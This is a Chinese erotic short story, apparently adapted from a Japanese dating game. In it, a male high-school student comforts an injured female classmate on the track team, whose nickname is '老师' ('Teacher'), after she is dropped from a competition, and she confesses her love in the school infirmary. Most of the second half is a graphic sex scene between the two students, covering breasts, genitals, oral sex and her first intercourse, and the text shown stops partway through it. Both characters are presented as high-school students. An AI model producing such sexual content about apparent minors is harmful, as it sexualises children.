图片载入中

终于拿下了老师

特大字】 【大字】 【中字】 【小字

“唔~~连事后的收拾,都要由我来做呀?”

朝霞映入的室内,一片杯盘狼籍。三个一升装的空酒瓶东倒西歪地散落各处。

昨晚可真的是,喝个没完的大酒会。反正,由于叔父隔了许久才回到日本,因此昨晚无论多贵的酒都可以毫无限制地随便饮用。配酒的菜肴有鲷鱼片、海胆、金枪鱼等等,……真是盘碟乱舞!况且,还有用我特地自专卖店买回的“斗鸡”的肉做出的超豪华的“夏季火锅”料理。当然是吃的不亦乐乎了。不用说,掌勺的自然是我了,要作出味道美妙的汤汁,比起叔父来还是我稍高一筹。

就因为如此,两个人又吃又喝到后来几乎撑死。这倒也不算什么,但是……

醒来之时,叔父已经不在了。

有件事忘了说了,叔父虽然是其貌不扬,但可也是一位大学教授,而且,还是位相当“可疑的教授”。由于研究的是考古学,因此一年到头都在世界各地来回奔走,从未试着留在日本。

(而且……好象他每次回来的时候,身上的伤痕都会有所增加似的……)

确实是相当可疑呢。……莫非他其实是在从事着类似于“印地安那。琼斯”或“詹姆斯。庞德”的这类冒险的事业?……光是想象,就觉得很可怕。

尽管叔父曾“如何?毕业后要不要来当我的助手?”地向我发出邀请,我还是尽可能地敬而远之。

总之,可以确定的是有着诸多谜团的叔父是位“超级大忙人”,就算不见了也没什么好讶异的……不过,托他的福,我不得不一个人打扫这如同被千军万马扫荡过的房间。

(可恶-!叔父这家伙回来之后,什么也没做嘛?)

脸也没洗,我开始拼命地收拾屋子。一片脏乱的房间,特别令人厌恶。

我喜欢的是清洁而条理分明的空间。

“喝~可恶可恶,该烧的烧掉!该扔的扔!餐具杀菌!……刷刷……”

一鼓作气将碗盘洗毕,我终于得以喘息。

喝着清晨的咖啡,随意浏览着报纸。

“唿~唔……《小说家发狂,炸毁出版社》……唉呀,可怕啊,可怕。

这世上危险的家伙又多了不少啊……之前也有芳子老师的例子……要是不提醒大家注意的话……“

我一边嘴里嘟哝着,一边咕噜咕噜地喝着咖啡,但是,

“啊,糟了!”

想起了重要的事情,是老师。昨天本打算打电话过去的,可由于酒宴的缘故并未能及时和她连络。

我慌张地走至电话机旁翻着学生名薄。

“呃~、老师……老师……哦不对,田中……田中……”

(不……她的情况到底怎样,还是直接去看看吧……)

改变了主意的我,做好了外出的准备。

今天,还是这么热啊。由于是夏天,所以天气热也并不奇怪。但顶着炽热的日光走在路上还是令人感到腻烦。

老师的家,位于我的住所和学校之间,……稍稍靠近学校的住宅街当中。

来到田中家的门前,我按下入口处的电铃。

“喂,请问是哪一位呢?”

透过通话机传来老师母亲的声音,“对不起,我是悭村…”我说出自己的名字后,很快地门打了开来。

“唉呀,是小咏啊,欢迎欢迎!”

随着令人有些难为情的称唿,老师的母亲探出头来。就如之前所说的那样,我不可思议地和诸位同学的母亲保持着非常良好的关系。

“很抱歉呢,之前要劳你照顾老师,你是来看她的吗?真的,非常感谢!”

彷佛老师数十年后模样的老师,以令人心宽的笑脸说道。

“不,那不算什么……”

我有些尴尬地搔了搔头。

“老师真的很感激呢,还跟我说着‘他煮的鲽鱼真的很好吃喔’。小咏若是结婚的话,一定可以当个好丈夫呢!”

“哈哈……那个,那个……”

我可是不想结婚之后还一天到晚系着围裙的啦……

“我们老师呀,在家里可总是提起小咏的事情喔!”

“哈哈……那个,那个……嗯?”

老说着我的事情?都在说些什么呢?……老师是那种会穷于话题的女孩吗?看起来是不太像了,但……?

“好不容易小咏来这玩的,不过很可惜的……老师,现在出去了呢!”

老师真的很遗憾似的对我说着,令我觉得蛮难为情的。

(这个姑且不论,老师她……是到哪去了呢?目前她还不宜四处走动的……)

“她说是要去社团看看,而到学校去了……”

我注意到轻声说着的老师的脸上,突然掠过了一丝阴影。

虽然我很想问--老师脚受了伤,为何还出席社团活动--的理由,但我却说不出口。

“那-,我也到学校去看看。”

只说了这句话之后,我就自田中家告辞了。

不知为何,总有种不祥的预感。我不自觉地加快脚步,赶到了学校。

一踏入校园,正好是田径社在练习的时刻。有进行径赛的跑步者、练习撑杆跳的、三级跳的……等等,社员们都在挥汗练习着。

我引颈而望,在练习的人群中,以及四周都没有老师的身影。

(她似乎没在一旁观看……那,是在田径部的活动室里吗?)

我正打算去位于操场旁边的活动室看看,就在这时,

“那个……悭村学长……”

一位田径部的女孩叫住了我,就是那位老师的学妹,井上和美。

“啊,和美,老师应该有来学校……你知道她在哪吗?”

“我是知道,不过……老师学姐,她……”

眼看着和美的表情浮上愁云,似要哭了出来。

“怎么了!?她跌倒了吗!?”

对于我的话语,和美抬起头露出了惊讶的表情,

“为什么……会知道那样的事呢?”

我只是注视着和美,难以回答,一时不知该如何开口。

……老师这个笨蛋!腿上带着伤痛,不是还不应该再跑步的嘛!!为什么,要这么勉强自己?…

(等一下……她真的,为什么她会那样地勉强自己?)

受伤的腿的状况,老师自己应该是最了解的。一定是发生了什么让老师即使明知会造成伤痛复发,也必须要跑下去的事情吧。

“究竟怎么回事,发生了什么事导致老师会跌倒!?”

我不自觉地抓紧和美的肩头,大声的问道。

“由于下个月的大赛的事,和顾问的老师发生了争执……因为老师,决定要将老师学姐自出赛名单中拿掉……所以…所以老师学姐才说‘没问题的,我能跑’,做那样不合理的练习……”

说至后来,和美已是泣不成声。

“老师现在,是在保健室吧……抱歉,和美……这么大声和你说话。”

我安慰地轻拍抽泣的和美肩膀如此说着,和美“嗯”地点了点头。

“那么,因为我很担心她的情况,这就去看看她。”

“是的,悭村学长,……请你一定要去看看老师学姐!”

留下犹自泪眼婆娑的美和,我匆促地跑了起来。

连室内鞋都没来得及换,我就那样直接穿着鞋冲进了校舍。

(可恶…可恶、可恶、可恶!)

不快感与忿怒,令我直想放声怒吼。

有必要对这么一心一意练习的学生“老师”,作那样毫不留情的决定吗?

身为一位老师,不是至少该给她机会直到竞技大会举行之前吗?……

(只要胜利就好吗!得到第一名,就是社团的目的?)

这种心态,我绝对无法认同。

田径社的顾问,就是那个混蛋“谷田部”。虽然我很清楚对要求那家伙作到如此体贴根本是痴人说梦……但他这样做,也实在是太残酷了。

当时老师是以怎样的心情,听着顾问的决定……

“老师!”

以几乎撞破门扉之势,我冲入保健室内。

“咏君……”

最初映入眼你的是真子老师。

然后是一旁……病床边……悄然地垂着头的老师的身影。

“阿咏……”

似乎吃了一惊的老师,望向我的眼眸里,刹时泛起了闪光的东西。

我只能,凝望着她。

“那,我稍微出去一下……若是心情平缓下来,再来叫我吧!”

真子老师温柔地微笑着,离开了房间。

保健室里,只留下我和老师。

“坐在你旁边,可以吗?”

我如此问道。老师无力地点了头。虽然我坐了下来,身旁的她仍然弯下腰俯着身子,不打算抬起头来。

“……从和美那里,我都听说了。……”

“……是吗?”

对于我的话,老师只有如此短短轻语。

彼此沉默着,只有壁上挂钟秒针滴答走着。

当针尖第三次通过数字盘顶端时……

“我……就像傻子似的……”

老师哽咽着哭了出来。

肩头,微微起伏着。

视线落在地板上,并不打算望向这边。

为了让她能将心中所有的苦痛都倾吐出来,我无言地等待她说下去。

“明明只是拼命的跑步……因为被选为选手时,我真的好高兴……仅仅是全心全意努力地跑步……没想到却因此,把腿弄坏了!”

无法压抑的悲伤,没完没了地浮满老师的面容。

“医生说,我再也不能参加田径运动了……”

老师转回头望向我。令人心痛的、溢流而出的眼泪难以止抑。

“不能跑步的我,只是个毫无长处的人……当我变成这样后,我终于发觉。为了大学升学考试之类的……大家都那样拼命用功着……而我,因为有田径特优生的推荐……以为和自己没有关系,一直都觉得很从容……

我从没想到过,自己若是不能跑步了,就什么价值都没了!“

命运,实在太残酷了。

“我好傻……真的,好傻!”

双手掩面,老师呜咽地啜泣着。

老师所背负的苦恼,实在是太过沉重。我知道我并不能为她做什么,但……

“必须紧紧抱住,颤抖无助的女孩子。”

就算,自己并没有什么力量。

我轻轻抱住她的肩头,将老师拉进怀里。

“……不要刻意忍耐,再大声一点哭出来会更好一些……”

想哭的时候只能拼命压抑无法尽情哭泣的人,是最不幸的。

这句话彷佛信号一般,老师真的毫不保留地开始放声痛哭。如小孩般地嘶声叫着,“我不要啊!我不要这样!”不断哭诉着。

轻抚着老师的嵴背,我温柔地抚摸她的发丝。

老师的泪水沾湿我胸前的衬衣,疼痛也渗入我的胸口。

尽管如此,我也不会放手。

渐渐地……随着时间的流逝……我感觉怀中的战抖趋缓。

是已经用尽了全力去哭泣,眼泪也已流光了吧……在我怀中的老师仰起脸,望着我。

无言地,彼此凝视着。

“……”

老师合上了眼,双唇迎了上来。

毫不犹豫的,我与老师的嘴唇交缠到了一起。

桃色的、……宛如花朵般可爱柔软的嘴唇……有淡淡的泪水的味道。

倾注着思念的接吻结束前,老师伸手揽住我的背。

“咏……”

老师的眼眸,和我的双眼,映照着彼此。

“拜托你,让我忘记……就算,仅仅是现在,也没关系……请,接受我!”

如花般的樱唇,如此倾诉着心愿。

“……你,不后悔吗?” 我确认着她的心意,

“我愿意……奉献给咏……”

老师再次,将脸庞埋进我的胸口。

我只用了一点点力量,轻轻地抱住老师。

(若是能稍微令她心情平复的话,这么做也可以吧。)

我喜欢老师……想要竭尽全力去守护自己所喜欢的女孩。我打从心底,想要将她紧紧拥住,但……

“但是你,不是有喜欢的人吗?”

只有这件事,无论如何我都很介意。结果,我还是决定要帮助她把对喜欢的人的爱慕之心变为现实。因为我,希望老师能够得到幸福。

(可能的话,就算是用飞的,我也要立刻将那家伙带到这里来。)

我不认为,在这个世上会有不喜欢老师的家伙存在。

“对不起,老师……你有就算死也不会停止爱慕的人,毕竟你……一定是希望与他结合的吧……我真的很抱歉……”

虽然我想分开紧拥着的身躯,但环抱着我的老师的双手,并没有松开的打算。

“老师……!?”

突然发觉,老师熠熠生辉的双瞳一直凝视着我。

“我喜欢的人,就在我面前……” 老师,如此说道。

“哎?”

我不明白是怎么回事,转头向后望去。

……只有保健室白晰的墙壁而已。

“哎?哎哎-!?”

挡在目光不断在“老师”和“墙壁”之间往复移动的我的前面,

“……傻瓜。”

红晕爬上了老师的双颊,她垂下头来。

(什、什什什什什什什、什么……难道!?)

“那,那张照片是?”

老师房间摆设的相框里的“人物”是……

“所以……我不是说唯独不能让咏看到的吗……因为太难为情了……” 老师的告白,令我一阵目眩。

“那,那个像是……‘住在大杂院里的狂放不羁的浪人’什么的家伙是……”

老师“嗯”地点了下头。

“那个冒失粗鲁,又钝感直接的家伙是……”

老师“嗯,嗯”地点着头。

“喜欢到为他而死也可以的家伙也是……”

老师“嗯,嗯,嗯”不停地点着头,由于难为情而满脸通红。

我真是惊慌失措,彷佛就会这样抱着老师晕倒。

“你、你……倒是说出来啊,这种事!”

“这、这么重要的事…我、我怎么说得出口嘛!”

无意中我和老师,又像平常一样吵起嘴来。如果说有什么不同的话,那就是彼此的双手置于对方的背后,环抱着,距离接吻只有0.5公分……

这不同对我们来说,却出人意料的巨大。

说不清是谁,先意识到这一点的……两个人的身体突然变得僵硬。

但,无论是老师还是我,都没有放开紧抱的双手。

“究竟……那个……是从什么时候开始的……你……对我……”

“从一年级的时候开始……一直……喜欢着咏。”

对老师回答,我真的是无比懊悔。若是能和老师成为恋人,一起度过这三年高中时光的话,一定会是一段五彩缤纷的回忆。……那该是多么美好啊。

“我……或许真是纯度百分之百、标准的、可以作印章来用的‘笨蛋’……”

看到我表情难过地抱怨着,老师“扑-”地笑了起来。

(……好可爱。)

我难以压抑地再次用力抱紧老师,老师也用力地反抱回来。

(……真是太可爱了。)

“说过一次之后,无论多少次我也能再说出口。只要是咏的事,我都喜欢……喜欢你、喜欢你、喜欢你、喜欢你……最喜欢咏了!……我的心意,绝不输给任何人。我,比任何人,都更爱咏……”

“老师……”

一直隐藏在内心深处的从未停止过的爱慕的火苗,一旦被引燃,在一瞬间就化为可以烧尽一切的火柱。

如同文字形容的一样,在如烈焰般燃烧的爱意的包围中,我与老师口唇重合。只一次并不能解决问题,三次、四次……我吻向老师、老师回吻我……两个人不知满足的,激烈地接吻。不久就从只有嘴唇的接触,演变为成人式的热吻。

将舌头伸入时,即使热情如老师也似乎有一瞬间的慌乱,但……原本老师就充满激情……是无比热情的少女。不知不觉中,老师开始积极地索吻。 “嗯、嗯……嗯、嗯、嗯……”

从喉咙里发出可爱的声音,两个人沉醉于舌尖的交缠。

恋恋不舍的嘴唇虽然分开了,但闪闪发亮的银色丝线仍连接着两人。

不知老师是否还想更加热烈地继续双唇的结合,“啊、嗯……”地露出寂寞的眼神。

“老师,很喜欢接吻呢!”

我说道。

“因为,我是在和咏接吻啊!…对我来说,那是只有在梦中才能作到的事!”

以认真的表情,老师答道。

只这句率直的回答,就令我对老师的爱意倍增。而且……

“原来在梦中,老早就接过吻了呀……呵-”

“啊~”,老师一阵慌乱,

“不来了,阿咏你欺负我……”,老师娇羞地转过脸去。

由于老师这可爱的举止,我忍不住再次夺取了她的双唇。在深深的口舌纠缠与吸吮过程之中,老师的眼神已经变得如同喝醉了般的迷离模煳。

“老师,……差不多,要往下进行了哦。”

预先打了一声招唿,我伸出手抓住了她训练服的下摆。老师倏然一惊,好象要动手阻止我……犹豫了一下,又放弃了。

对于我慢慢地将她的衣服向上提起的动作,老师微微颤抖着却没有表示反对。 她柔顺地举起双手让我可以容易地将训练服脱下。在运动用胸罩的遮掩下,两团膨胀清楚地显现出来。是比穿着外衣目测时,更加丰满的乳房。因为老师的身体柔和而苗条,所以看起来更是格外的惹人注目。

当我的手指搭上了她胸罩的挂钩时,老师怯怯地闭上了双眼。

运气真不错。随着我一口气松开挂钩,彷佛可以听到“砰-”的声音,老师的酥胸以不可阻挡之势跳了出来。

不知是否是因为暴露出来的那一对美乳被隐藏得太久,来到外面之后有些害怕的缘故,而微微地颤抖着。

那是无法以言语形容的,美丽的乳房。

老师的胸部,就是所谓的“吊钟型”的形状。那体现着老师作为女性的像征,彷佛在生气似的紧绷着向上微微翘起。即使说是在自衿也不过分地忽上忽下地跳动着,强调着自己的美丽。由膨胀逐渐变得纤细,而耸立在顶端的是那大胆的……让人不得不承认是那无与伦比的曲线的胜利。

这诱惑是如此强烈,我不由自主地伸出手来,慢慢地接近那美的标志,将其纳入掌握。

从被包住的部分传来了温暖的感觉……无法形容的柔软、不可思议的弹力……女孩子的这一部分,无处不充满温柔。

不知从何时开始的,我已经在入迷地揉搓着落入掌心的老师的乳房。

“呃,啊……啊……啊……啊-……”

老师大声地喘息着。看来她的胸部相当敏感呢。

传至掌中的来自老师胸脯的感触已经令我心满意足。而顶在手心的两点硬硬的花果更是滚来滚去。我指尖的每一次捏弄,都会使那蓓蕾进一步变硬。

老师的乳头,是整个胸部最招人疼爱的部分。若是说到原因的话,因为它是可以亲眼看到反应和变化的部分。随着手指的抚弄,逐渐坚硬地屹立起来,而男人的自尊心也在这变化的过程中获得充分地满足。

老师的乳尖,彷佛也在表现着她的性格似的,显现出鲜明清晰的外形。

宛如幼儿的指尖一般,由于充血而变成绯红色,骄傲地挺立着。而且在仅仅在其顶端才有的浅浅的凹陷,真是无与伦比的可爱。

以挤压的方式抓住老师的粉乳,我开始专心致志地爱抚那可怜的果实。

用手指捏住她那好象有些疼痛地挺立着的乳头,轻轻地掐着、拧着,以指尖向外拉动那硬得有些酥脆的蓓蕾,……本来凹陷着的尖顶部分唿地隆起,老师的果实已经完全地勃起了。

(话虽如此,确实是形状优美的胸部啊!)

将凸起的乳头含入嘴中,老师蓦地全身绷紧,微微地颤抖着。是感受太好的缘故吧,老师“呵,呵”地发出喘息声,红晕爬上了双颊。我一边用手揉搓着她的另一只乳房,一边更激烈地吸吮舔弄着含在口中的那朵蓓蕾,尽我所能地蹂躏着它。

“……哇-!”

老师身子向后仰倒,轻微地痉挛着。

轻轻地伸出手,捂住我仍在老师胸部不停活动着的禄山之爪。

“咏……好难受……我好难受……”

湿润的双瞳,这样倾诉着。

两个人再次深情地接吻。老师比方才更加热烈地索取着我的唇,令我也觉得有些唿吸困难。健康的肌肤由于兴奋而透出粉红色,白皙的大腿则因为害羞而忸怩地互相摩擦着。

“老师……”

我的手伸向了她的下半身,即使大方如老师对此也有些畏缩了吧,与我纠缠着的舌头也停止了动作。但,那仅仅是一瞬间……

“好的。”

代替这回答的是,老师的香舌又重新上下翻动起来,与此同时,彷佛是要告诉我,“把自己全部都交给你了。”,体内的力量突然消失了。

将她的运动短裤缓缓地褪下,露出来的是白地带深蓝色条纹的内裤。

一看到她内裤上的条纹,我立刻想起了那次改变了我与老师的两个人的生活的宿命的相逢。正是那次相遇,成为了我与老师之间没完没了的斗嘴的开端。一年级的时候,为了练习徒手攀岩而进行“校舍登山”时,隔着玻璃窥见了女生换衣服的情形……那个人,正是老师。……当时她穿着

的,就是一条带有条纹的内裤。

“唿~-嗯,……是老师,喜欢的花样呢……”

这样说着,我回忆起那时的情景,情不自禁地笑了出来。

“哎?”,感到莫名其妙的老师。

“啊,没什么……和老师的激斗开始时,也是带条纹的呢……”

我挠着头解释道。老师却一本正经地回答说,

“那是因为,这种样式……得到了咏的称赞啊……”

“????”

我百思不得其解。

“……‘只有内裤,还算可爱!’那时的你不是这样说了么。……因此我,不知从何时开始,就只买条纹样式的了。……等我意识到这一点时,衣橱里已有半数以上是条纹内裤了,……啊,也有别的样式喔,……比如说有水珠图案的、或是带着可爱的波纹形褶边的等等……不过,不知道是不是因为被咏所喜欢的原因,……我最喜爱的,还是水色条纹的内裤。……

而且,准备了许多种类。……“

一口气说完这些的老师,猛地回过神来。

“……我,我都说了些什么啊?好,好难为情啊!我真是个傻瓜!”

自己陷入了混乱状态。

而这时的我,不知该做些什么,只能无言地默默地凝视着老师。

(唔~~~~说吧。我也说出来吧。)

对于坦率地说出自己的心意的老师,我也必须诚实地对她坦白自己真实的想法。

“其实,真正漂亮的,是老师!”

那一天……从窗外看到的老师穿着内裤的样子,非常美丽。那动人的臀线夺人魂魄,我因为过于入迷而像久米仙人一般直接跌到了地面上。而老师,就是听到了我当时所发出的声响,才察觉到。……偷窥,本来并不是我攀登校舍的目的,但,我被老师的裸体所深深吸引却是不争的事实。

我本就不是什么下着爱好者,对那小小的布头当然没有兴趣。可爱的并非是老师那件条纹内裤,而是身穿条纹内裤的老师。

“老师的……那个……因为一直都无法忘记……所以从那以后,可以一直有机会和斗嘴,我非常高兴。”

凝视着毫不隐瞒地说出心中秘密的我,老师连眼睛都不眨一下。

“真的?……真的吗??……”

对着战战兢兢地反问的老师,我“嗯-!”地使劲点着头。

“太高兴了!” 老师这样说着,大滴的泪珠扑簌扑簌地落下来。

“为,为什么又哭了?……”

我感到很困窘。

“可是,我,和咏在一起时总是吵架,……我以为自己一定已经为咏所讨厌,……喜欢咏的心意也许一生都无法说出来。我太高兴了,真的,太高兴了!”

老师,真是惹人爱怜。非常地,惹人爱怜。连一个女孩这样全心全意真挚的爱慕都毫不知情,仅仅把老师当作特殊的“说相声”的对手的我,才真的令人可鄙。

(我……或许,因为这样的作法而伤了很多人的心吧?……若真是这样的话,那我可以算是最差劲的无用人类。)

想到此我忽然觉得有些不安起来,但无论如何我现在应该好好安慰老师。

老师真是,可爱,可爱,可爱,太可爱了。

“嗯------”

以几乎要令骨头折断的力量,我紧紧地抱住老师。

早已无法计算是第几次了,我与老师热烈地吻着,当我打算脱下她仅剩的最后的小布头时,

“……啊,不行!”老师嗫嚅着,按住了我的手。

“……只有我自己赤裸着身体,太难为情了。”

越来越小的声音,这样说道。

原来如此,看了一下自己,仍然穿得整整齐齐的。

“对不起……”

道了声歉,我脱下了夹克。若是改为宣布“我要脱光了!”什么的话,一是我不好意思这么说,二是这样一来老师的一方可能会更加害羞。因此下定决心之后,我开始麻利地脱着衣服。

将最后一条运动型内裤脱下扔到一边,我略微地瞟向老师,窥探她的情形。但是,来自视线的另一端的是,

“唔哇-!”

大声地叫了出来,老师真的跳起两、三厘米高。

因为我的分身已经处于完全硬直的状态,生气勃勃地指向天花板。

说起来,若是老师的话,想来从未见过勃起之后的男根吧,但是……

(即便如此,也不至于“唔哇-!”吧,“唔哇-!”也实在是……)

对着情不自禁苦笑的我,老师投以怯怯的目光。

“我从不知道,那里会成为这种样子,……有点害怕。”

老师述说着自己的感想。

“没关系的,不是什么吓人的东西啦。”

我拉着她的手,导向我的分身。

“等,等一下,不,不要啦!”

不理会老师的狼狈状,我牵引着她的手指接触到我怒张的欲望。

“……??”

彷佛是要求救似的,老师抬起头望向我。是我无言的颔首令她不再抱有幻想的原因吧……

畏畏缩缩地,老师用手包住了我的分身。

由于意外以及老师的手指那纤细的感触,我的分身“腾地”起了反应。

“呀-!”在老师的悲鸣响起的同时,她的手缩了回去。

“还,还会动啊!这个!”

她确实是大了一惊吧,说话时都已带着一些哭音。

“那是因为被老师的手包住后,感觉特别好的原因。”

听了我的解释之后,“哎?”,老师露出了好象有点出乎意料的表情。

“是,是那样啊……是因为感觉特别好的缘故啊……”

老师的视线又一次落回我的男性部分,带着紧张她轻轻地重新握住我的家伙。有好一段时间就那样一动不动地握着,也许是终于下定了决心吧,老师略带着犹豫开始摆弄我勃起的肉棒。

或是抚摸,或是捏弄,再或者试着揉搓。彷佛是为了响应在确认着阳具形状的她的手指,我的分身“腾-、腾-、腾-”地痉挛着。

“习惯了之后,不知为何觉得它也挺可爱的。”

老师带着复杂的笑容说道。也许她是怀着要以自己温暖的胸怀来安抚狰狞的猛兽的心情来揉搓着我的肉棒也说不定。或者是对随着她手指的活动而一一作出反应的男性自身,稍稍产生了些许兴趣也说不定。

“……”

想开了之后,老师坚决但温柔地握住我的分身,开始缓缓地用手撸动。

“啊~,唿~……”

无法忍耐地,我发出了声音。

知道我这一方的感觉变得越来越好,老师的手的动作也渐渐加快。好奇心与恐惧感、羞耻心和欲求,……由于这些感情交织而露出微妙的表情的老师,只是专心致志地捋动着我的分身。

正因为老师是如此的热情,“所喜欢的对象变得感觉舒畅”的同时,自己也逐渐兴奋起来。

“……唔~”

我越来越难以忍受地大声呻吟着,老师的手腕有节奏地上下活动着,改变着轻重缓急,……令人惊异的正确的动作,使我的快感渐渐升高。

也许是老师所拥有的运动员天赋让她能轻易地掌握其中的技巧吧。

“美,老师,……等等,就到这儿!”

我抓住她的手,阻止那天才的动作继续下去。

老师惊讶地望向我。

“但是,这个……好象感觉很好似的……”

正如她所说的那样,我的分身由于在中途停止而显露出不满,正砰砰地一下一下跳动着呢。

“嗯,因为老师的努力,我好象就要结束了。”

“啊……”

理解到其中真正的意思,老师蓦地满脸通红低下了头。

其实,真的好险。若是真的发射出来的话,在我正面……坐在床上的老师的脸上、头发上,甚至胸脯上都会淋满我的树液吧。若是那样的话,可真的能完全满足一个男人的征服欲,但是,对还是第一次的老师做那样的事可绝不行。因此,到了最后极限时我不得不阻止她。

“……我,可真是一个傻瓜啊!”

老师不安地在床单上挠来挠去,由于过于专注而忘记身外的一切,这正是老师的性格,也是她的优点。

“怎么看都很可爱啊,老师!”

我一边“啾-”地再次占据了老师的唇,一边静静地将她放倒在床上。

同时非常敏捷但顺利地褪下她的条纹内裤,放到一旁。

“啊-!”

老师慌张地,以两手遮住她秘密的花园。

“你的腿,没关系吧?不痛吗??”

一边拨弄着她额前的刘海儿,我问道。

“嗯,没关系。已经不疼了。”

老师回答道。

我爬上了床,跪在老师的脚边。

“老师,别太僵硬,放松点儿……好了,要开始了……”

我催促着,让她打开了双腿。

老师的两腿被拉开摆成M状,她只是一个劲地用手遮挡着自己的女性部分。但这种样子却形成一道更加淫靡的风景,勾起了我无限欲望。

将她的手指一根一根地拿开,老师的花瓣终于暴露了出来。

妖娆而艳丽,充满诱惑……老师的女性的气息,令我的鼻头发痒。

“请不要那样盯着看……好难为情啊!……”

因为害羞,这次老师用手遮住了自己的脸。

“没有什么可害羞的,老师的那里,好美丽啊!”

我一边说着,一面用手指张开了老师的花瓣。

闪闪发光的萋萋芳草下,盛开着美丽的淡红色的花。含珠带露的花园之中,为了迎接爱的进入,花蕾正渐渐开放。

欣赏着那娇艳欲滴可爱花瓣的迤逦风光,……我的手指抚上了正在花朵顶点处喘息着的花芽。

“哇-!”

老师的腰部猛地弹了起来。

我并未因此而退缩,随着我手指挑逗般地转动着,老师的花瓣溢出了爱情的蜜汁。隐藏在深处的诱人花芽,倏地伸展开来,将它动人的容姿展现于包皮之外。

“哈~,……呃~,呃~……啊!……”

当确定老师的唿吸已经逐渐变得凌乱时,我的指尖悄悄潜入了她的花芯。

“好痛-!”

同一瞬间,老师发出了短暂的悲鸣。

“对不起!”我立刻缩回了手指。

(仅仅是,一根手指就……)

这,正是老师纯洁的证明吧!

(若是我不能,更加更加,尽可能地温柔地对待她的话……)

我这样对自己说着。

将脸埋入老师的两腿之间,我吻上了老师绮丽的花瓣。

“呀-!”

根本没有预想到的地方,被冷不防地吻到,老师看来非常地惊……

立刻合拢了大腿,将我的头紧紧夹住。

“不,不行啊!做那样的事-!!……啊,已经说不行了,……啊,啊……

啊~!?“

一遍又一遍地亲吻之后,我的舌头攀上了那动人的花瓣。

将那美丽的珍珠含在嘴里,我如饥似渴地舔舐着,经过充分地爱抚之后,老师的花蕾终于徐徐地绽开了。

“不要……不要……啊-!……发,发麻了……”

我执拗地舔着老师隐秘的花园,舌头围绕着那已经开放的蓓蕾打着转,老师的女体的本能使她心如针扎般麻痒难当。

爱液不断地涌出,老师的那里已经足够湿润,做好了准备。

贴着老师光滑细腻的肌肤,我如同滑行一般,攀上了老师的身体,两个人重迭到了一起。

“你的腿,真的的确确实是不痛了吗?……因为你是个无论出了什么事都一个人默默地忍耐的那种女孩……若是身体的状况真的有问题,一定要说出来啊!”

只有在可以确定不会使韧带拉伤的状变得更加严重的情况下,我才会继续下去。

“嗯,不必介意。……比起那个来,……”

带着动摇的眼神,老师向我望了过来。最重要的时刻马上就要到来,老师的脸上毕竟还是露出了无法掩藏的恐惧。虽然很轻微,但她的身体在颤抖着。

“老师的身体,好柔软啊!”

“是、是吗?……我……一天到晚就只知道运动,所以还有一点担心呢!”

“完全,不需要担心哟!无论哪里都是软绵绵的,是女孩子的身体哦!”

“真的……太好了!”

老师发出一声长长的叹息。

“咏浑身都是肌肉,就像上紧的发条一样啊!”

“唉,我是男人嘛!”

“很不可思议地,被咏这样抱着,不知为何变得很安心。”

“因为老师,是女孩子啦!”

两个人拥抱着,“男”与“女”在互相探索着彼此的不同。

抓住老师的紧张感消解的瞬间,我把自己的分身,贴上了老师的女性部分。

男根的先端还没有进入多少,就如预想的一样,

“……啊-,呜~,疼啊!”

老师痛苦地呻吟着。

对于这一点,我也毫无办法。因此我继续慢慢地向里深入。

龟头的前端将标志着老师作为处女的薄膜慢慢地撑开,我把分身一点点向里塞去,但是,

“啊,痛啊!好痛……咏,好痛啊!”

老师的眼泪终于流了下来。

“老师……”

我停止了动作,等待老师平静下来。而这,让她产生了误解。

“……已经-,全部都进去了吗?”

老师断断续续地喘息着问道。

“不,……还有,一半……”

听到我的回答,老师明显地觉得很沮丧。而实际上,插入的长度,还不到全部的三分之一。

“老师,受不了的话,下次再找机会好吗?”

看到老师如此痛苦,我提出了建议。

“那种事,绝对不行!”

老师正经地生气了。

“但是,看到你痛成那样……”

“咏的,……是不是特别粗大?……”

带着怀疑的表情,老师这样问道。

“当然不是。”

我斩钉截铁地回答。认真地考虑一下,即使比这更糟糕的说法也有,但现在的老师可绝对开不得半点玩笑。她正以一副想要哭泣的表情,(虽然实际上她已经哭出来了。)向我望着。

“已经这样大了,还只是普通而已?!……”

老师是一个无论做什么都一腔热情充满干劲的女孩。

“若真是那样的话,别的女孩子都能够克服这种痛苦,经过这一关不是吗?大家都能做到的事,……我,也要忍耐、忍耐、努力忍耐!”

合上了眼,老师使劲地抓紧了床单。

“因为无论何时都会是一样的痛苦,所以请下狠心……夺去吧!”

本来就一直保有强韧的精神力,现在又下定了决心的这个少女,绝对不会再重蹈覆辙,这一点我也很清楚。

“既然老师想要,……那么我就一鼓作气送进去了哦!”

不再犹豫,我也像一个男人应做的那样宣布道。

和以往一样不服输的眼神,紧闭着双唇,老师无言地颔首。

暂且把分身从她的体内拔出来,我将老师的双腿向上高高举起,抱住她的大腿跟往两侧大大地打开。虽然对于一个未经人道女孩来说,这姿势实在是过于大胆而且暴露,但是有人说“初体验”时尽可能采取平行的角度插入会比较少痛苦。

我一边注意着自己的姿势,一边再次将我的男性自身沉入老师的花蕊。

“噌-”地,一口气侵入到我最初曾经进入过的部分,彻底地击碎了老师作为处女的印记。

“呀---!”

老师无法忍耐地发出悲鸣,身体向后仰起弯成了弓形。

可是,破瓜的痛楚其实仅仅是一瞬间,真正的苦痛好象是来自承受着压力的膣口。

(体内有了异物侵入,她会这样也是理所当然的。……一定很痛吧,老师…)

作为女性的苦楚,是一个男人终其一生也难以明白的。正因为如此,才更因该爱护她们,好好地珍惜她们。

突破难关之后,我又继续缓缓地向前挺进。

“已经没关系了,老师。……我们,已经连在一起了。…稍稍放松一些吧!”

“嗯,嗯!”地冲我点着头的老师,按照我所说的努力着。

一点一点,一点一点,……我,向她的深处潜入。

边探索边慢慢地前进,先端终于到达了老师的子宫,我的分身也完成了连根插入的壮举。

我现在,正处在名叫“田中老师”的女孩的体内。

“……”

静静地我调整着姿势,使两个人可以亲密无间地抱在一起。

被我的胸膛压倒的老师的乳房,忙忙碌碌地上下游荡着。

“咏……我们,的的确确……完成了吗?”

老师一边慌乱地喘息着,一边有些担心地询问道。

“是啊,完美无缺!……我,已经在老师的里面了。”

带着些许怜爱,我轻抚着老师的秀发。

“我的,里面……唔,感觉到了。……咏的那个,在怦怦地跳动着呢。”

彷佛为了确认进入体内的男性性器官作为异物的存在似的,老师暂时闭上了眼睛。

“和咏,在做爱呢!”

以听起来变得很难过的声音,老师低声地说道。

是还隐瞒着什么吗?……闪亮的泪珠又一次大滴地落下来。

“啊,……还在痛吗?”

虽然我当然知道真实的答案是肯定的,但这一次我的猜测却是错误的。

老师缓缓地摇了摇头。

